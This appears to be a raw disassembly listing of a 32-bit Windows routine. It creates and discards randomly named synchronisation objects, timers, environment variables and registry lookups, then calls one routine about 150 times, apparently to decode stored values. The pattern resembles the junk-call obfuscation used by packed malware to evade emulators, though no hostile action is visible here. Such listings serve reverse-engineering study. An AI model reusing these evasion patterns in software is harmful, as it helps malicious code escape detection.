call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push 0x361
push esi
mov dword [0x415498], 0x4136a8
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push str.uovrok87
push str.d4g1hian
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.tqwbz69za
mov dword [0x4153b0], 0x4136cc
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.WTMR_sra63kwd
push 1
push 0
mov dword [0x415470], 0x4136e8
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
test eax, eax
je 0x407576
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0xc]
push eax
push edi
push 0
push str.regkfa2wj52
push ebx
call esi
jmp 0x40757c
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.XMLsh1u3yzr
push 1
push 0
push 0
mov dword [0x4152c4], 0x41370c
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.ie9rmkh5
push str.q5bqbrkc
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.WTMR_wtpshzsf
push 1
push 0
mov dword [0x4152f8], 0x413740
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
test eax, eax
je 0x4075e5
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea eax, [ebp - 0xc]
push eax
push edi
push 0
push str.regkake2ek1
push ebx
call esi
push str.WTMR_pdkt0ec5
push 1
push 0
mov dword [0x415334], 0x413760
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x60]
push eax
push edi
push 0
push str.regtc9yw3rf
push ebx
call esi
mov eax, dword [ebp - 4]
test eax, eax
je 0x40761e
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov esi, dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.XMLtmcl99mu
push 1
push 0
push 0
mov dword [0x4153c4], 0x413788
call esi
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
xor eax, eax
push eax
push 0x5e9
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.ev_wm9wa558
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push str.XMLv38t5jcn
push 1
push 0
push 0
mov dword [0x415364], 0x4137a4
call esi
xor esi, esi
push esi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.ev_4wdn1hxd
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.WTMR_lpncheb0
push 1
push 0
mov dword [0x41551c], 0x4137c0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov esi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.pgrpkcoa
push str.71ylty1v
mov dword [ebp - 4], eax
call esi
mov eax, dword [ebp - 4]
test eax, eax
je 0x4076fe
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.oupzxrse
push str.ja1ox85t
call esi
jmp 0x407711
lea eax, [ebp - 0xc]
push eax
push edi
push 0
push str.regpuc084t9
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.ev_8a5bkhbc
push 0
push 1
push 0
mov dword [0x415468], 0x413818
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.WTMR_8ipti93q
push 1
push 0
mov dword [0x4153a8], 0x41382c
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.4s0w0lsr
push str.vsplgejf
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.tk8qquyf3
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.XMLilyuz1pz
push 1
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.MTXzewnh4ny
push esi
push esi
mov dword [0x415568], 0x413874
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x4077bc
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.xqinxr7w
push str.5gjihwqi
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [0x41556c], 0x4138a0
lea eax, [ebp - 0xc]
push eax
push edi
push 0
push str.regeum36ui8
push ebx
call esi
sub dword [ebp - 8], 1
jne 0x4077cc
push str.SMPHR_1e7pgsbq
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
lea eax, [ebp - 0xc]
mov dword [0x415528], 0x4138c4
push eax
push edi
push 0
push str.reggjfirmvp
push ebx
call esi
mov ecx, dword [0x4152d8]
call fcn.0040f572
mov ecx, dword [0x41550c]
mov dword [0x4152e8], eax
call fcn.0040f572
mov ecx, dword [0x41557c]
mov dword [0x415374], eax
call fcn.0040f572
mov ecx, dword [0x4154ec]
mov dword [0x415480], eax
call fcn.0040f572
mov ecx, dword [0x4154ac]
mov dword [0x4151ac], eax
call fcn.0040f572
mov ecx, dword [0x4154dc]
mov dword [0x415514], eax
call fcn.0040f572
mov ecx, dword [0x4152f4]
mov dword [0x415258], eax
call fcn.0040f572
mov ecx, dword [0x41531c]
mov dword [0x4153d4], eax
call fcn.0040f572
mov ecx, dword [0x4152bc]
mov dword [0x4152c8], eax
call fcn.0040f572
mov ecx, dword [0x4153c8]
mov dword [0x4152a0], eax
call fcn.0040f572
mov ecx, dword [0x4155a4]
mov dword [0x41539c], eax
call fcn.0040f572
mov ecx, dword [0x4154f4]
mov dword [0x4155a0], eax
call fcn.0040f572
mov ecx, dword [0x41530c]
mov dword [0x4151a8], eax
call fcn.0040f572
mov ecx, dword [0x4154c8]
mov dword [0x4153e4], eax
call fcn.0040f572
mov ecx, dword [0x4152b0]
mov dword [0x4152fc], eax
call fcn.0040f572
mov ecx, dword [0x415538]
mov dword [0x415398], eax
call fcn.0040f572
mov ecx, dword [0x4154f8]
mov dword [0x41534c], eax
call fcn.0040f572
mov ecx, dword [0x415564]
mov dword [0x415308], eax
call fcn.0040f572
mov ecx, dword [0x415500]
mov dword [0x415380], eax
call fcn.0040f572
mov ecx, dword [0x415384]
mov dword [0x4152e4], eax
call fcn.0040f572
mov ecx, dword [0x415578]
mov dword [0x4154c0], eax
call fcn.0040f572
mov ecx, dword [0x415430]
mov dword [0x4152a8], eax
call fcn.0040f572
mov ecx, dword [0x4154d0]
mov dword [0x415268], eax
call fcn.0040f572
mov ecx, dword [0x41535c]
mov dword [0x41541c], eax
call fcn.0040f572
mov ecx, dword [0x415574]
mov dword [0x415210], eax
call fcn.0040f572
mov ecx, dword [0x4152ec]
mov dword [0x415434], eax
call fcn.0040f572
mov ecx, dword [0x41528c]
mov dword [0x415200], eax
call fcn.0040f572
mov ecx, dword [0x4153f0]
mov dword [0x41520c], eax
call fcn.0040f572
mov ecx, dword [0x4152b8]
mov dword [0x41523c], eax
call fcn.0040f572
mov ecx, dword [0x41529c]
mov dword [0x4153b4], eax
call fcn.0040f572
mov ecx, dword [0x4154d8]
mov dword [0x4151d8], eax
call fcn.0040f572
mov ecx, dword [0x415508]
mov dword [0x415270], eax
call fcn.0040f572
mov ecx, dword [0x41552c]
mov dword [0x41525c], eax
call fcn.0040f572
mov ecx, dword [0x41549c]
mov dword [0x4151e0], eax
call fcn.0040f572
mov ecx, dword [0x41554c]
mov dword [0x4151bc], eax
call fcn.0040f572
mov ecx, dword [0x415474]
mov dword [0x4154f0], eax
call fcn.0040f572
mov ecx, dword [0x4154bc]
mov dword [0x415234], eax
call fcn.0040f572
mov ecx, dword [0x415504]
mov dword [0x4153cc], eax
call fcn.0040f572
mov ecx, dword [0x415520]
mov dword [0x415240], eax
call fcn.0040f572
mov ecx, dword [0x4153b8]
mov dword [0x4151e8], eax
call fcn.0040f572
mov ecx, dword [0x415598]
mov dword [0x4151b8], eax
call fcn.0040f572
mov ecx, dword [0x4154a8]
mov dword [0x415310], eax
call fcn.0040f572
mov ecx, dword [0x415544]
mov dword [0x415488], eax
call fcn.0040f572
mov ecx, dword [0x4154a0]
mov dword [0x41536c], eax
call fcn.0040f572
mov ecx, dword [0x41547c]
mov dword [0x415534], eax
call fcn.0040f572
mov ecx, dword [0x415490]
mov dword [0x41544c], eax
call fcn.0040f572
mov ecx, dword [0x415278]
mov dword [0x415448], eax
call fcn.0040f572
mov ecx, dword [0x41558c]
mov dword [0x415570], eax
call fcn.0040f572
mov ecx, dword [0x415340]
mov dword [0x415304], eax
call fcn.0040f572
mov ecx, dword [0x41533c]
mov dword [0x41537c], eax
call fcn.0040f572
mov ecx, dword [0x415388]
mov dword [0x415558], eax
call fcn.0040f572
mov ecx, dword [0x415378]
mov dword [0x4151b0], eax
call fcn.0040f572
mov ecx, dword [0x4153d0]
mov dword [0x4151d0], eax
call fcn.0040f572
mov ecx, dword [0x415424]
mov dword [0x4151c0], eax
call fcn.0040f572
mov ecx, dword [0x415300]
mov dword [0x4151f0], eax
call fcn.0040f572
mov ecx, dword [0x4152c0]
mov dword [0x415288], eax
call fcn.0040f572
mov ecx, dword [0x415454]
mov dword [0x415414], eax
call fcn.0040f572
mov ecx, dword [0x4153a4]
mov dword [0x4153bc], eax
call fcn.0040f572
mov ecx, dword [0x4154b8]
mov dword [0x415214], eax
call fcn.0040f572
mov ecx, dword [0x4154e4]
mov dword [0x415230], eax
call fcn.0040f572
mov ecx, dword [0x415554]
mov dword [0x41542c], eax
call fcn.0040f572
mov ecx, dword [0x415510]
mov dword [0x415408], eax
call fcn.0040f572
mov ecx, dword [0x415428]
mov dword [0x415524], eax
call fcn.0040f572
mov ecx, dword [0x4152e0]
mov dword [0x4152ac], eax
call fcn.0040f572
mov ecx, dword [0x4154c4]
mov dword [0x4154b4], eax
call fcn.0040f572
mov ecx, dword [0x415594]
mov dword [0x4152d0], eax
call fcn.0040f572
mov ecx, dword [0x4153dc]
mov dword [0x415418], eax
call fcn.0040f572
mov ecx, dword [0x4152cc]
mov dword [0x41548c], eax
call fcn.0040f572
mov ecx, dword [0x415464]
mov dword [0x41538c], eax
call fcn.0040f572
mov ecx, dword [0x415290]
call fcn.0040f572
mov ecx, dword [0x415298]
call fcn.0040f572
mov ecx, dword [0x4154b0]
call fcn.0040f572
mov ecx, dword [0x415420]
call fcn.0040f572
mov ecx, dword [0x415370]
call fcn.0040f572
mov ecx, dword [0x4153f4]
call fcn.0040f572
mov ecx, dword [0x415450]
call fcn.0040f572
mov ecx, dword [0x415350]
call fcn.0040f572
mov ecx, dword [0x415400]
call fcn.0040f572
mov ecx, dword [0x41559c]
call fcn.0040f572
mov ecx, dword [0x415314]
call fcn.0040f572
mov ecx, dword [0x415550]
call fcn.0040f572
mov ecx, dword [0x415410]
call fcn.0040f572
mov ecx, dword [0x4151dc]
call fcn.0040f572
mov ecx, dword [0x4153e8]
call fcn.0040f572
mov ecx, dword [0x4153e0]
mov dword [0x4151cc], eax
call fcn.0040f572
mov ecx, dword [0x415338]
mov dword [0x415248], eax
call fcn.0040f572
mov ecx, dword [0x4154d4]
call fcn.0040f572
mov ecx, dword [0x415518]
call fcn.0040f572
mov ecx, dword [0x41543c]
call fcn.0040f572
mov ecx, dword [0x415530]
call fcn.0040f572
mov ecx, dword [0x415584]
call fcn.0040f572
mov ecx, dword [0x4152d4]
call fcn.0040f572
mov ecx, dword [0x41546c]
call fcn.0040f572
mov ecx, dword [0x41545c]
call fcn.0040f572
mov ecx, dword [0x415360]
call fcn.0040f572
mov ecx, dword [0x4153d8]
call fcn.0040f572
mov ecx, dword [0x415460]
call fcn.0040f572
mov ecx, dword [0x41532c]
call fcn.0040f572
mov ecx, dword [0x41555c]
mov dword [0x415478], eax
call fcn.0040f572
mov ecx, dword [0x4152a4]
mov dword [0x4154e0], eax
call fcn.0040f572
mov ecx, dword [0x415438]
call fcn.0040f572
mov ecx, dword [0x415264]
mov dword [0x415580], eax
call fcn.0040f572
mov ecx, dword [0x415368]
call fcn.0040f572
mov ecx, dword [0x415318]
mov dword [0x415294], eax
call fcn.0040f572
mov ecx, dword [0x4153fc]
mov dword [0x41521c], eax
call fcn.0040f572
mov ecx, dword [0x415390]
mov dword [0x4151f4], eax
call fcn.0040f572
mov ecx, dword [0x415484]
mov dword [0x41526c], eax
call fcn.0040f572
mov ecx, dword [0x41553c]
mov dword [0x415218], eax
call fcn.0040f572
mov ecx, dword [0x4154cc]
mov dword [0x415540], eax
call fcn.0040f572
mov ecx, dword [0x415394]
mov dword [0x415344], eax
call fcn.0040f572
mov ecx, dword [0x415280]
mov dword [0x415284], eax
call fcn.0040f572
mov ecx, dword [0x4154a4]
mov dword [0x4153ac], eax
call fcn.0040f572
mov dword [0x4152b4], eax
mov ecx, dword [0x415354]
call fcn.0040f572
mov ecx, dword [0x415560]
call fcn.0040f572
mov ecx, dword [0x415590]
mov dword [0x415244], eax
call fcn.0040f572
mov ecx, dword [0x415404]
mov dword [0x415208], eax
call fcn.0040f572
mov ecx, dword [0x415324]
mov dword [0x4151e4], eax
call fcn.0040f572
mov ecx, dword [0x4153c0]
mov dword [0x415548], eax
call fcn.0040f572
mov ecx, dword [0x415588]
mov dword [0x4153a0], eax
call fcn.0040f572
mov ecx, dword [0x415498]
mov dword [0x415440], eax
call fcn.0040f572
mov ecx, dword [0x4153b0]
mov dword [0x415320], eax
call fcn.0040f572
mov ecx, dword [0x415470]
mov dword [0x4152f0], eax
call fcn.0040f572
mov ecx, dword [0x4152c4]
mov dword [0x415358], eax
call fcn.0040f572
mov ecx, dword [0x4152f8]
mov dword [0x415330], eax
call fcn.0040f572
mov ecx, dword [0x415444]
mov dword [0x415458], eax
call fcn.0040f572
mov ecx, dword [0x4153f8]
mov dword [0x4151fc], eax
call fcn.0040f572
mov ecx, dword [0x415334]
mov dword [0x415228], eax
call fcn.0040f572
mov ecx, dword [0x4153c4]
mov dword [0x41522c], eax
call fcn.0040f572
mov ecx, dword [0x415364]
mov dword [0x4151d4], eax
call fcn.0040f572
mov ecx, dword [0x41551c]
mov dword [0x4154fc], eax
call fcn.0040f572
mov ecx, dword [0x415468]
mov dword [0x41540c], eax
call fcn.0040f572
mov ecx, dword [0x4153a8]
mov dword [0x415348], eax
call fcn.0040f572
mov ecx, dword [0x415568]
mov dword [0x4154e8], eax
call fcn.0040f572
mov ecx, dword [0x41556c]
mov dword [0x415328], eax
call fcn.0040f572
mov ecx, dword [0x4153ec]
mov dword [0x4152dc], eax
call fcn.0040f572
mov ecx, dword [0x415528]
mov dword [0x415254], eax
call fcn.0040f572
pop edi
pop esi
mov dword [0x415204], eax
xor eax, eax
pop ebx
leave
ret